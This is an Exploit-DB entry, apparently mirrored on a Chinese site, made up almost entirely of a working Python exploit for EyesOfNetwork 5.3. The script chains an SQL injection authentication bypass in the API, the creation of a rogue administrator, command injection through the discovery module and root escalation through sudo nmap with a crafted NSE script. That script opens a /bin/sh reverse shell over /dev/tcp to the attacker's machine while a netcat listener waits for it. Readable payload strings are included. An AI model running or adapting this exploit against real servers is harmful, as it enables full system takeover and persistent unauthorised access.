EyesOfNetwork 5.3 – Remote Code Execution

  • 作者: Clément Billac
    日期: 2020-02-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48025/
  • # Exploit Title: EyesOfNetwork 5.3 - Remote Code Execution
    # Date: 2020-02-01
    # Exploit Author: Clément Billac
    # Vendor Homepage: https://www.eyesofnetwork.com/
    # Software Link: http://download.eyesofnetwork.com/EyesOfNetwork-5.3-x86_64-bin.iso
    # Version: 5.3
    # CVE : CVE-2020-8654, CVE-2020-8655, CVE-2020-8656
    
    #!/bin/env python3
    # coding: utf8
    #
    #
    # CVE-2020-8654 - Discovery module to allows to run arbitrary OS commands
    # We were able to run the 'id' command with the following payload in the target field : ';id #'.
    #
    # CVE-2020-8655 - LPE via nmap NSE script
    # As the apache user is allowed to run nmap as root, we were able to execute arbitrary commands by providing a specially crafted NSE script.
    # nmap version 6.40 is used and doesn't have the -c and -e options.
    #
    # CVE-2020-8656 - SQLi in API in getApiKey function on 'username' field
    # PoC: /eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '
    # Auth bypass: /eonapi/getApiKey?&username=' union select 1,'admin','1c85d47ff80b5ff2a4dd577e8e5f8e9d',0,0,1,1,8 or '&password=h4knet
    
    # Python imports
    import sys, requests, json, os, argparse, socket
    from bs4 import BeautifulSoup
    
    # Text colors
    txt_yellow = "\033[01;33m"
    txt_blue = "\033[01;34m"
    txt_red = "\033[01;31m"
    txt_green = "\033[01;32m"
    txt_bold = "\033[01;01m"
    txt_reset = "\033[00m"
    txt_info = txt_blue + "[*] " + txt_reset
    txt_success = txt_green + "[+] " + txt_reset
    txt_warn = txt_yellow + "[!] " + txt_reset
    txt_err = txt_red + "[x] " + txt_reset
    
    # Banner
    banner = (txt_bold + """
    +-----------------------------------------------------------------------------+
    | EyesOfNetwork 5.3 RCE (API v2.4.2)|
    | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m |
    | |
    | Examples: |
    | eonrce.py -h|
    | eonrce.py http(s)://EyesOfNetwork-URL |
    | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -port 3128|
    | eonrce.py https://eon.thinc.local -ip 10.11.0.182 -user pentest2020 |
    +-----------------------------------------------------------------------------+
    """ + txt_reset)
    
    # Arguments Parser
    parser = argparse.ArgumentParser("eonrce", formatter_class=argparse.RawDescriptionHelpFormatter, usage=banner)
    parser.add_argument("URL", metavar="URL", help="URL of the EyesOfNetwork server")
    parser.add_argument("-ip", metavar="IP", help="Local IP to receive reverse shell", default=socket.gethostbyname(socket.gethostname()))
    parser.add_argument("-port", metavar="Port", type=int, help="Local port to listen", default=443)
    parser.add_argument("-user", metavar="Username", type=str, help="Name of the new user to create", default='h4ker')
    parser.add_argument("-password", metavar="Password", type=str, help="Password of the new user", default='net_was_here')
    args = parser.parse_args()
    
    # HTTP Requests config
    requests.packages.urllib3.disable_warnings()
    baseurl = sys.argv[1].strip('/')
    url = baseurl
    useragent = 'Mozilla/5.0 (Windows NT 1.0; WOW64; rv:13.37) Gecko/20200104 Firefox/13.37'
    
    # Admin user creation variables
    new_user = args.user
    new_pass = args.password
    
    # Executed command
    # The following payload performs both the LPE and the reverse shell in a single command.
    # It creates a NSE script in /tmp/h4k wich execute /bin/sh with reverse shell and then perform the nmap scan on localhost with the created NSE script.
    # Readable PoC: ;echo "local os = require \"os\" hostrule=function(host) os.execute(\"/bin/sh -i >& /dev/tcp/192.168.30.112/8081 0>&1\") end action=function() end" > /tmp/h4k;sudo /usr/bin/nmap localhost -p 1337 -script /tmp/h4k #
    ip = args.ip
    port = str(args.port)
    cmd = '%3Becho+%22local+os+%3D+require+%5C%22os%5C%22+hostrule%3Dfunction%28host%29+os.execute%28%5C%22%2Fbin%2Fsh+-i+%3E%26+%2Fdev%2Ftcp%2F' + ip + '%2F' + port + '+0%3E%261%5C%22%29+end+action%3Dfunction%28%29+end%22+%3E+%2Ftmp%2Fh4k%3Bsudo+%2Fusr%2Fbin%2Fnmap+localhost+-p+1337+-script+%2Ftmp%2Fh4k+%23'
    
    # Exploit banner
    print (txt_bold,"""+-----------------------------------------------------------------------------+
    | EyesOfNetwork 5.3 RCE (API v2.4.2)|
    | 02/2020 - Clément Billac \033[01;34mTwitter: @h4knet\033[00m|
    +-----------------------------------------------------------------------------+
    """, txt_reset, sep = '')
    
    # Check if it's a EyesOfNetwork login page.
    r = requests.get(baseurl, verify=False, headers={'user-agent':useragent})
    if r.status_code == 200 and r.text.find('<title>EyesOfNetwork</title>') != -1 and r.text.find('form action="login.php" method="POST">') != -1:
    	print(txt_info, "EyesOfNetwork login page found", sep = '')
    else:
    	print(txt_err, 'EyesOfNetwork login page not found', sep = '')
    	quit()
    
    # Check for accessible EON API
    url = baseurl + '/eonapi/getApiKey'
    r = requests.get(url, verify=False, headers={'user-agent':useragent})
    if r.status_code == 401 and 'api_version' in r.json().keys() and 'http_code' in r.json().keys():
    	print(txt_info, 'EyesOfNetwork API page found. API version: ',txt_bold , r.json()['api_version'], txt_reset, sep = '')
    else:
    	print(txt_warn, 'EyesOfNetwork API page not found', sep = '')
    	quit()
    
    # SQL injection with authentication bypass
    url = baseurl + '/eonapi/getApiKey?&username=%27%20union%20select%201,%27admin%27,%271c85d47ff80b5ff2a4dd577e8e5f8e9d%27,0,0,1,1,8%20or%20%27&password=h4knet'
    r = requests.get(url, verify=False, headers={'user-agent':useragent})
    if r.status_code == 200 and 'EONAPI_KEY' in r.json().keys():
    	print(txt_success, 'Admin user key obtained: ', txt_bold, r.json()['EONAPI_KEY'], txt_reset, sep = '')
    else:
    	print(txt_err, 'The host seems patched or unexploitable', sep = '')
    	print(txt_warn, 'Did you specified http instead of https in the URL ?', sep = '')
    	print(txt_warn, 'You can check manually the SQLi with the following payload: ', txt_bold, "/eonapi/getApiKey?username=' union select sleep(3),0,0,0,0,0,0,0 or '", txt_reset, sep = '')
    	quit()
    
    # Adding new administrator
    url = sys.argv[1].strip('/') + '/eonapi/createEonUser?username=admin&apiKey=' + r.json()['EONAPI_KEY']
    r = requests.post(url, verify=False, headers={'user-agent':useragent}, json={"user_name":new_user,"user_group":"admins","user_password":new_pass})
    if r.status_code == 200 and 'result' in r.json().keys():
    	if r.json()['result']['code'] == 0 and 'SUCCESS' inr.json()['result']['description']:
    		id = r.json()['result']['description'].split('ID = ', 1)[1].split(']')[0]
    		print(txt_success, 'New user ', txt_bold, new_user, txt_reset, ' successfully created. ID:', txt_bold,id, txt_reset, sep = '')
    
    	elif r.json()['result']['code'] == 1:
    		if ' already exist.' inr.json()['result']['description']:
    			print(txt_warn, 'The user ', txt_bold, new_user, txt_reset, ' already exists', sep = '')
    		else:
    			print(txt_err, 'An error occured while querying the API. Unexpected description message: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
    			quit()
    	else:
    		print(txt_err, 'An error occured while querying the API. Unepected result code. Description: ', txt_bold, r.json()['result']['description'], txt_reset, sep = '')
    		quit()
    else:
    	print(txt_err, 'An error occured while querying the API. Missing result value in JSON response or unexpected HTTP status response', sep = '')
    	quit()
    
    # Authentication with our new user
    url = baseurl + '/login.php'
    auth_data = 'login=' + new_user + '&mdp=' +new_pass
    auth_req = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, data=auth_data)
    if auth_req.status_code == 200 and 'Set-Cookie' in auth_req.headers:
    	print(txt_success, 'Successfully authenticated', sep = '')
    else:
    	print(txt_err, 'Error while authenticating. We expect to receive Set-Cookie headers uppon successful authentication', sep = '')
    	quit()
    
    # Creating Discovery job
    url = baseurl + '/lilac/autodiscovery.php'
    job_command = 'request=autodiscover&job_name=Internal+discovery&job_description=Internal+EON+discovery+procedure.&nmap_binary=%2Fusr%2Fbin%2Fnmap&default_template=&target%5B2%5D=' + cmd
    r = requests.post(url, verify=False, headers={'user-agent':useragent,'Content-Type':'application/x-www-form-urlencoded'}, cookies=auth_req.cookies, data=job_command)
    if r.status_code == 200 and r.text.find('Starting...') != -1:
    	job_id = str(BeautifulSoup(r.content, "html.parser").find(id="completemsg")).split('?id=', 1)[1].split('&rev')[0]
    	print(txt_success, 'Discovery job successfully created with ID: ', txt_bold, job_id, txt_reset, sep = '')
    else:
    	print(txt_err, 'Error while creating the discovery job', sep = '')
    	quit()
    
    # Launching listener
    print(txt_info, 'Spawning netcat listener:', txt_bold)
    nc_command = '/usr/bin/nc -lnvp' + port + ' -s ' + ip
    os.system(nc_command)
    print(txt_reset)
    
    # Removing job
    url = baseurl + '/lilac/autodiscovery.php?id=' + job_id + '&delete=1'
    r = requests.get(url, verify=False, headers={'user-agent':useragent}, cookies=auth_req.cookies)
    if r.status_code == 200 and r.text.find('Removed Job') != -1:
    	print(txt_info, 'Job ', job_id, ' removed', sep = '')
    else:
    	print(txt_err, 'Error while removing the job', sep = '')
    	quit()